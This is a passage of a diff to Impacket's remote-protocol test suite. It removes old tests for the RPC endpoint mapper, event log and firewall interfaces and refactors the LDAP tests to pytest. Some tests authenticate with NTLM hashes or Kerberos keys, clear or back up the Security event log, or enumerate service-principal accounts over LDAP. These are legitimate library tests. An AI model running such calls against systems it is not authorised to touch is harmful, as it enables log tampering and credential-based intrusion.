self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(epm.MSRPC_UUID_PORTMAP, transfer_syntax = self.ts) - - return dce, rpctransport - - def rtesthept_map(self): - MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) - epm.hept_map(self.machine,MSRPC_UUID_SAMR) - epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') - MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) - epm.hept_map(self.machine,MSRPC_UUID_ATSVC) - MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) - epm.hept_map(self.machine,MSRPC_UUID_SCMR, protocol = 'ncacn_ip_tcp') - - def test_lookup(self): - dce, rpctransport = self.connect() - request = epm.ept_lookup() - request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS - request['object'] = NULL - request['Ifid'] = NULL - request['vers_option'] = epm.RPC_C_VERS_ALL - request['max_ents'] = 499 - - resp = dce.request(request) - for entry in resp['entries']: - tower = entry['tower']['tower_octet_string'] - epm.EPMTower(b''.join(tower)) - #print tower['Floors'][0] - #print tower['Floors'][1] - - def test_hlookup(self): - resp = epm.hept_lookup(self.machine) - #for entry in resp: - # print epm.PrintStringBinding(entry['tower']['Floors'], self.machine) - MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) - epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_SAMR) - MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) - epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_ATSVC) - MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) - epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_SCMR) - - def test_map(self): - dce, rpctransport = self.connect() - tower = epm.EPMTower() - interface = epm.EPMRPCInterface() - interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC') - interface['MajorVersion'] = 1 - interface['MinorVersion'] = 0 - - dataRep = epm.EPMRPCDataRepresentation() - dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860') - dataRep['MajorVersion'] = 2 - dataRep['MinorVersion'] = 0 - - protId = epm.EPMProtocolIdentifier() - protId['ProtIdentifier'] = 0xb - - pipeName = epm.EPMPipeName() - pipeName['PipeName'] = b'\x00' - - portAddr = epm.EPMPortAddr() - portAddr['IpPort'] = 0 - - hostAddr = epm.EPMHostAddr() - import socket - hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0') - - hostName = epm.EPMHostName() - hostName['HostName'] = b'\x00' - - tower['NumberOfFloors'] = 5 - tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData() - request = epm.ept_map() - request['max_towers'] = 4 - request['map_tower']['tower_length'] = len(tower) - request['map_tower']['tower_octet_string'] = tower.getData() - resp = dce.request(request) - resp.dump() - -class SMBTransport(EPMTests): - def setUp(self): - EPMTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport(EPMTests): - def setUp(self): - EPMTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(EPMTests): - def setUp(self): - EPMTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -class TCPTransport64(EPMTests): - def setUp(self): - EPMTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - #suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport64) - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_even.py b/tests/SMB_RPC/test_even.py deleted file mode 100755 index 08d39bc614..0000000000 --- a/tests/SMB_RPC/test_even.py +++ /dev/null @@ -1,258 +0,0 @@ -############################################################################### -# Tested so far: -# -# ElfrOpenBELW -# hElfrOpenBELW -# ElfrOpenELW -# hElfrOpenELW -# ElfrRegisterEventSourceW -# hElfrRegisterEventSourceW -# -# Not yet: -# -# Shouldn't dump errors against a win7 -# -################################################################################ -from __future__ import division -from __future__ import print_function -import unittest - -from six.moves import configparser - -from impacket.dcerpc.v5 import even -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5.dtypes import NULL - - -class RRPTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(even.MSRPC_UUID_EVEN, transfer_syntax = self.ts) - - return dce, rpctransport - - def test_ElfrOpenBELW(self): - dce, rpctransport = self.connect() - request = even.ElfrOpenBELW() - request['UNCServerName'] = NULL - request['BackupFileName'] = '\\??\\BETO' - request['MajorVersion'] = 1 - request['MinorVersion'] = 1 - try: - resp = dce.request(request) - except Exception as e: - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: - raise - resp = e.get_packet() - resp.dump() - - def test_hElfrOpenBELW(self): - dce, rpctransport = self.connect() - try: - resp = even.hElfrOpenBELW(dce, '\\??\\BETO') - except Exception as e: - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: - raise - resp = e.get_packet() - resp.dump() - - def test_ElfrOpenELW(self): - dce, rpctransport = self.connect() - request = even.ElfrOpenELW() - request['UNCServerName'] = NULL - request['ModuleName'] = 'Security' - request['RegModuleName'] = '' - request['MajorVersion'] = 1 - request['MinorVersion'] = 1 - resp = dce.request(request) - resp.dump() - - def test_hElfrOpenELW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - - def test_ElfrRegisterEventSourceW(self): - dce, rpctransport = self.connect() - request = even.ElfrRegisterEventSourceW() - request['UNCServerName'] = NULL - request['ModuleName'] = 'Security' - request['RegModuleName'] = '' - request['MajorVersion'] = 1 - request['MinorVersion'] = 1 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_ACCESS_DENIED') < 0: - raise - - def test_hElfrRegisterEventSourceW(self): - dce, rpctransport = self.connect() - try: - resp = even.hElfrRegisterEventSourceW(dce, 'Security', '') - resp.dump() - except Exception as e: - if str(e).find('STATUS_ACCESS_DENIED') < 0: - raise - - def test_ElfrReadELW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - request = even.ElfrReadELW() - request['LogHandle'] = resp['LogHandle'] - request['ReadFlags'] = even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ - request['RecordOffset'] = 0 - request['NumberOfBytesToRead'] = even.MAX_BATCH_BUFF - resp = dce.request(request) - resp.dump() - - def test_hElfrReadELW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - resp = even.hElfrReadELW(dce, resp['LogHandle'],even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ,0, even.MAX_BATCH_BUFF ) - resp.dump() - - def test_ElfrClearELFW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - request = even.ElfrClearELFW() - request['LogHandle'] = resp['LogHandle'] - request['BackupFileName'] = '\\??\\c:\\beto2' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_OBJECT_NAME_INVALID') < 0: - raise - - def test_hElfrClearELFW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - try: - resp = even.hElfrClearELFW(dce, resp['LogHandle'], '\\??\\c:\\beto2') - resp.dump() - except Exception as e: - if str(e).find('STATUS_OBJECT_NAME_INVALID') < 0: - raise - - def test_ElfrBackupELFW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - request = even.ElfrBackupELFW() - request['LogHandle'] = resp['LogHandle'] - request['BackupFileName'] = '\\??\\c:\\beto2' - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_OBJECT_NAME_INVALID') < 0: - raise - - def test_hElfrBackupELFW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - try: - resp = even.hElfrBackupELFW(dce, resp['LogHandle'], '\\??\\c:\\beto2') - resp.dump() - except Exception as e: - if str(e).find('STATUS_OBJECT_NAME_INVALID') < 0: - raise - - def test_ElfrReportEventW(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - request = even.ElfrReportEventW() - request['LogHandle'] = resp['LogHandle'] - request['Time'] = 5000000 - request['EventType'] = even.EVENTLOG_ERROR_TYPE - request['EventCategory'] = 0 - request['EventID'] = 7037 - request['ComputerName'] = 'MYCOMPUTER!' - request['NumStrings'] = 1 - request['DataSize'] = 0 - request['UserSID'].fromCanonical('S-1-2-5-21') - nn = even.PRPC_UNICODE_STRING() - nn['Data'] = 'HOLA BETUSSS' - request['Strings'].append(nn) - request['Data'] = NULL - request['Flags'] = 0 - request['RecordNumber'] = NULL - request['TimeWritten'] = NULL - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_ACCESS_DENIED') < 0: - raise - - def test_hElfrNumberOfRecords(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - resp = even.hElfrNumberOfRecords(dce, resp['LogHandle']) - resp.dump() - - def test_hElfrOldestRecordNumber(self): - dce, rpctransport = self.connect() - resp = even.hElfrOpenELW(dce, 'Security', '') - resp.dump() - resp = even.hElfrOldestRecordNumber(dce, resp['LogHandle']) - resp.dump() - -class SMBTransport(RRPTests): - def setUp(self): - RRPTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\eventlog]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(RRPTests): - def setUp(self): - RRPTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\eventlog]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_even6.py b/tests/SMB_RPC/test_even6.py deleted file mode 100644 index 8c7bac54a3..0000000000 --- a/tests/SMB_RPC/test_even6.py +++ /dev/null @@ -1,169 +0,0 @@ -############################################################################### -# Tested so far: -# EvtRpcRegisterLogQuery -# hEvtRpcRegisterLogQuery -# EvtRpcQueryNext -# hEvtRpcQueryNext -############################################################################### - -from __future__ import division -from __future__ import print_function -import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import epm, even6 -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from impacket.structure import hexdump - - -class EVEN6Tests(unittest.TestCase): - def connect(self, version): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - if version == 1: - dce.bind(even6.MSRPC_UUID_EVEN6, transfer_syntax=self.ts) - else: - dce.bind(even6.MSRPC_UUID_EVEN6, transfer_syntax=self.ts) - - return dce, rpctransport - - def test_EvtRpcRegisterLogQuery_EvtRpcQueryNext(self): - dce, rpctransport = self.connect(2) - - request = even6.EvtRpcRegisterLogQuery() - request['Path'] = 'Security\x00' - request['Query'] = '*\x00' - request['Flags'] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest - - request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - return - - log_handle = resp['Handle'] - - request = even6.EvtRpcQueryNext() - request['LogQuery'] = log_handle - request['NumRequestedRecords'] = 5 - request['TimeOutEnd'] = 1000 - request['Flags'] = 0 - request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - return - - for i in range(resp['NumActualRecords']): - event_offset = resp['EventDataIndices'][i]['Data'] - event_size = resp['EventDataSizes'][i]['Data'] - event = resp['ResultBuffer'][event_offset:event_offset + event_size] - buff = b''.join(event) - print(hexdump(buff)) - - def test_hEvtRpcRegisterLogQuery_hEvtRpcQueryNext(self): - dce, rpctransport = self.connect(2) - - try: - resp = even6.hEvtRpcRegisterLogQuery(dce, 'Security\x00', '*\x00', even6.EvtQueryChannelName | even6.EvtReadNewestToOldest) - resp.dump() - except Exception as e: - return - - log_handle = resp['Handle'] - - try: - resp = even6.EvtRpcQueryNext(dce, log_handle, 5, 1000, 0) - resp.dump() - except Exception as e: - return - - for i in range(resp['NumActualRecords']): - event_offset = resp['EventDataIndices'][i]['Data'] - event_size = resp['EventDataSizes'][i]['Data'] - event = resp['ResultBuffer'][event_offset:event_offset + event_size] - buff = ''.join([x.encode('hex') for x in event]).decode('hex') - print(hexdump(buff)) - -class SMBTransport(EVEN6Tests): - def setUp(self): - EVEN6Tests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\eventlog]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(EVEN6Tests): - def setUp(self): - EVEN6Tests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\eventlog]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -class TCPTransport(EVEN6Tests): - def setUp(self): - EVEN6Tests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, even6.MSRPC_UUID_EVEN6, protocol='ncacn_ip_tcp') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport64(EVEN6Tests): - def setUp(self): - EVEN6Tests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, even6.MSRPC_UUID_EVEN6, protocol='ncacn_ip_tcp') - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_fasp.py b/tests/SMB_RPC/test_fasp.py deleted file mode 100755 index 533712987b..0000000000 --- a/tests/SMB_RPC/test_fasp.py +++ /dev/null @@ -1,105 +0,0 @@ -############################################################################### -# Tested so far: -# -# FWOpenPolicyStore -# -# Not yet: -# -# Shouldn't dump errors against a win7 -# -################################################################################ - -import unittest - -from six.moves import configparser - -from impacket.dcerpc.v5 import transport, epm, fasp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY - - -class FASPTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - dce.bind(fasp.MSRPC_UUID_FASP, transfer_syntax = self.ts) - - return dce, rpctransport - - def test_FWOpenPolicyStore(self): - dce, rpctransport = self.connect() - request = fasp.FWOpenPolicyStore() - request['BinaryVersion'] = 0x0200 - request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL - request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ - request['dwFlags'] = 0 - resp = dce.request(request) - resp.dump() - - def test_hFWOpenPolicyStore(self): - dce, rpctransport = self.connect() - resp = fasp.hFWOpenPolicyStore(dce) - resp.dump() - - - def test_FWClosePolicyStore(self): - dce, rpctransport = self.connect() - resp = fasp.hFWOpenPolicyStore(dce) - request = fasp.FWClosePolicyStore() - request['phPolicyStore'] = resp['phPolicyStore'] - resp = dce.request(request) - resp.dump() - - def test_hFWClosePolicyStore(self): - dce, rpctransport = self.connect() - resp = fasp.hFWOpenPolicyStore(dce) - resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) - resp.dump() - -class TCPTransport(FASPTests): - def setUp(self): - FASPTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol = 'ncacn_ip_tcp') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport64(FASPTests): - def setUp(self): - FASPTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol='ncacn_ip_tcp') - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_ldap.py b/tests/SMB_RPC/test_ldap.py index 1f3478715f..eec35b87a7 100644 --- a/tests/SMB_RPC/test_ldap.py +++ b/tests/SMB_RPC/test_ldap.py @@ -1,33 +1,48 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# FWOpenPolicyStore +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# Shouldn't dump errors against a win7 -# -################################################################################ from __future__ import division from __future__ import print_function +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests import RemoteTestCase from impacket.ldap import ldap, ldapasn1 import impacket.ldap.ldaptypes from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR -class LDAPTests(unittest.TestCase): + +class LDAPTests(RemoteTestCase): + def connect(self, login=True): + self.ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) + if login: + self.ldapConnection.login(self.username, self.password) + return self.ldapConnection + + def tearDown(self): + if hasattr(self, "ldapConnection") and self.ldapConnection: + self.ldapConnection.close() + def dummySearch(self, ldapConnection): # Let's do a search just to be sure it's working - searchFilter = '(servicePrincipalName=*)' - - resp = ldapConnection.search(searchFilter=searchFilter, - attributes=['servicePrincipalName', 'sAMAccountName', 'userPrincipalName', - 'MemberOf', 'pwdLastSet', 'whenCreated']) + searchFilter = "(servicePrincipalName=*)" + + resp = ldapConnection.search( + searchFilter=searchFilter, + attributes=[ + "servicePrincipalName", + "sAMAccountName", + "userPrincipalName", + "MemberOf", + "pwdLastSet", + "whenCreated", + ], + ) for item in resp: print(item.prettyPrint()) @@ -37,70 +52,67 @@ def test_security_descriptor(self): # in tests, since sometimes Windows has redundant null bytes after an ACE.Stripping those away makes the # ACLs not match at a binary level. impacket.ldap.ldaptypes.RECALC_ACL_SIZE = False - ldapConnection=self.connect() - searchFilter = '(objectCategory=computer)' + ldapConnection = self.connect() + searchFilter = "(objectCategory=computer)" - resp = ldapConnection.search(searchFilter=searchFilter, - attributes=['nTSecurityDescriptor']) + resp = ldapConnection.search( + searchFilter=searchFilter, attributes=["nTSecurityDescriptor"] + ) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue - for attribute in item['attributes']: - if attribute['type'] == 'nTSecurityDescriptor': - secDesc = str(attribute['vals'][0]) + for attribute in item["attributes"]: + if attribute["type"] == "nTSecurityDescriptor": + secDesc = str(attribute["vals"][0]) # Converting it so we can use it sd = SR_SECURITY_DESCRIPTOR() sd.fromString(secDesc) sd.dump() - self.assertTrue(secDesc, sd.getData()) - - - def connect(self): - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) - ldapConnection.login(self.username, self.password) - return ldapConnection + self.assertEqual(secDesc, sd.getData()) def test_sicily(self): - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) - ldapConnection.login(authenticationChoice='sicilyPackageDiscovery') + ldapConnection = self.connect(False) + ldapConnection.login(authenticationChoice="sicilyPackageDiscovery") def test_sicilyNtlm(self): - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) - ldapConnection.login(user=self.username, password=self.password, domain=self.domain) + ldapConnection = self.connect(False) + ldapConnection.login( + user=self.username, password=self.password, domain=self.domain + ) self.dummySearch(ldapConnection) def test_kerberosLogin(self): - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) + ldapConnection = self.connect(False) ldapConnection.kerberosLogin(self.username, self.password, self.domain) self.dummySearch(ldapConnection) def test_kerberosLoginHashes(self): - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) - ldapConnection.kerberosLogin(self.username, '', self.domain, lmhash, nthash, '', None, None) + ldapConnection = self.connect(False) + ldapConnection.kerberosLogin( + self.username, "", self.domain, self.lmhash, self.nthash, "", None, None + ) self.dummySearch(ldapConnection) def test_kerberosLoginKeys(self): - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) - ldapConnection.kerberosLogin(self.username, '', self.domain, '', '', self.aesKey, None, None) + ldapConnection = self.connect(False) + ldapConnection.kerberosLogin( + self.username, "", self.domain, "", "", self.aes_key_128, None, None + ) self.dummySearch(ldapConnection) def test_sicilyNtlmHashes(self): - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - ldapConnection = ldap.LDAPConnection(self.url, self.baseDN) - ldapConnection.login(user=self.username, password=self.password, domain=self.domain, lmhash=lmhash, nthash=nthash ) + ldapConnection = self.connect(False) + ldapConnection.login( + user=self.username, + password=self.password, + domain=self.domain, + lmhash=self.lmhash, + nthash=self.nthash, + ) self.dummySearch(ldapConnection) @@ -109,42 +121,26 @@ def test_search(self): self.dummySearch(ldapConnection) -class TCPTransport(LDAPTests): + +@pytest.mark.remote +class LDAPTestsTCPTransport(LDAPTests, unittest.TestCase): def setUp(self): - LDAPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.url = 'ldap://%s' % self.serverName - self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] ) - -class TCPTransportSSL(LDAPTests): + super(LDAPTestsTCPTransport, self).setUp() + self.set_transport_config(aes_keys=True) + self.url = "ldap://%s" % self.serverName + self.baseDN = "dc=%s, dc=%s" % ( + self.domain.split(".")[0], + self.domain.split(".")[1], + ) + + +@pytest.mark.remote +class LDAPTestsSSLTransport(LDAPTestsTCPTransport): 